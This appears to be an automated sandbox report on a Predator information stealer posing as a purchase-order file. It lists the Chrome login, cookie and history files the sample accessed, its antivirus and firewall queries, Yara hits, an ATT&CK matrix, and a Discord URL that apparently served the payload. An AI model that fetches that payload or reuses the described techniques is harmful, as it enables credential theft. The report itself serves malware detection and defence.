Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Users\user\Desktop\extract\Newtonsoft.Json.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\update_232209.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Zip.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\update_232209.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\update_232209.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Windows\SysWOW64\wget.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe

Code function: 11_2_0E5A9528 GetUserNameA,

11_2_0E5A9528

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Predator

Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 5152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RudGXFgqTDEzz.exe PID: 4972, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 5152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RudGXFgqTDEzz.exe PID: 4972, type: MEMORYSTR

Remote Access Functionality

Yara detected Predator

Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 5152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RudGXFgqTDEzz.exe PID: 4972, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	121 Windows Management Instrumentation	1 Scheduled Task/Job	112 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 Account Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Software Packing	Security Account Manager	23 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Masquerading	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	141 Virtualization/Sandbox Evasion	LSA Secrets	12 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	112 Process Injection	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip	1%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Zip.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://ns.adobe.c/g	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/4	0%	URL Reputation	safe
http://www.fontbureau.com4	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp//	0%	URL Reputation	safe
